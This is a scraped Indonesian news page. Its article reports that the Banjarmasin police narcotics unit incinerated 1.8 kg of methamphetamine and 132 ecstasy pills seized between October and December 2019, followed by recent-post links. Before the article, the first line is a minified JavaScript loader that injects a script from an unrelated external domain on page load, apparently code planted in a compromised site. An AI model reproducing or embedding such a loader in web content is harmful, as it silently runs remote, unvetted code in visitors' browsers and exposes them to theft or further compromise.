(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

1,8 Kg Sabu dan 132 Butir Ekstasi Dimusnahkan Satresnarkoba Polresta Banjarmasin


BANJARMASIN, Jajaran Satresnarkoba Polresta Banjarmasin melakukan pemusnahan barang bukti narkoba berupa sabu sebanyak 1,8 kg lebih dan 132 butir ekstasi dengan berat 49,66 gram. Barang tersebut merupakan hasil tangkapan dari sejumlah kasus yang ditangani pada Oktober-Desember 2019.

Kasatresnarkoba Polresta Banjarmasin Kompol Wahyu Hidayat di RS Ansari Saleh Banjarmasin, Rabu (11/12) siangmengatakan, total 15 tersangka yang diamankan dari 13 laporan polisi yang ditangkap Satresnarkoba Polresta Banjarmasin. Sementara, tangkapan dari beberapa polsek di wilayah hukum Polresta Banjarmasin merupakan pemain tunggal.

“(Kalau) residivis kemungkinan ada,” sebut Kompol Wahyu.

Dari hasil pengungkapan selama 3 bulan, jajaran Satresnarkoba Polresta Banjarmasin berhasil menyelamatkan sedikitnya 27.225 jiwa dari bahaya narkotika. “Dengan estimasi 1 gram narkoba kenis sabu dapat dipakai oleh 15 orang, dan 1 butir ekstasi dapat dipakai oleh 1 orang,” ungkapnya.

Lalu, dari mana saja barang haram ini berasal? Kompol Wahyu membeberkan, sabu-sabu dan ekstasi yang dimusnahkan berasal dari provinsi tetangga. Seperti Provinsi Kalbar dan Provinsi Kaltim.

Kendati demikian, pihaknya belum bisa memetakan titik rawan peredaran sabu-sabu di Kota Banjarmasin, karena transaksinya sering berpindah tempat. Bahkan, tidak menutup kemungkinan transaksinya dilakukan di luar kota.

“Sudah cukup lama modus itu. Artinya mereka cari aman, pembeli dan penjual tidak bertemu. Misalnya, ada bandar narkoba dan saling kontak, (yang) nantinya akan ada yang mengantarkan. Tidak lama setelah telepon menggunakan nomor pribadi dan diarahkan,” paparnya.

Untuk pemusnahan barang bukti sendiri, Satresnarkoba Polresta Banjarmasin konsisten dengan menggunakan fasilitas incenerator yang dimiliki oleh RSUD Ansari Saleh Banjarmasin. Tujuannya, agar tidak mencemari lingkungan. Dengan menggunakan incenerator, maka barang bukti narkoba langsung menjadi uap. Sehingga, tidak memcemari lingkungan.

“Sebenarnya tidak masalah menggunakan blender, cuma saat kita buang ke saluran air akan jadi limbah,” pungkas Kompol Wahyu. (fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Door to Door Kanalkalimantan Peduli-MPA Fisipioneer Antar Sembako di Tanjung Rema

KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More

5 jam ago

Persawahan Terendam, Petani Tak Bisa Berbuat Apa-apa

KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More

5 jam ago

UMP 2026 Kalimantan Selatan Naik 6,54%, Begini Aturannya!

Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More

6 jam ago

Pemkab Kapuas Bahas Skema Penyelesaian Tenaga Non ASN

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More

7 jam ago

Wabup Kapuas: Hindari Pemborosan, Hentikan Budaya Dilayani

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More

7 jam ago

Banjir Balangan: 34 Desa Terdampak di 6 Kecamatan, Ratusan Rumah Rusak

KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More

8 jam ago

This website uses cookies.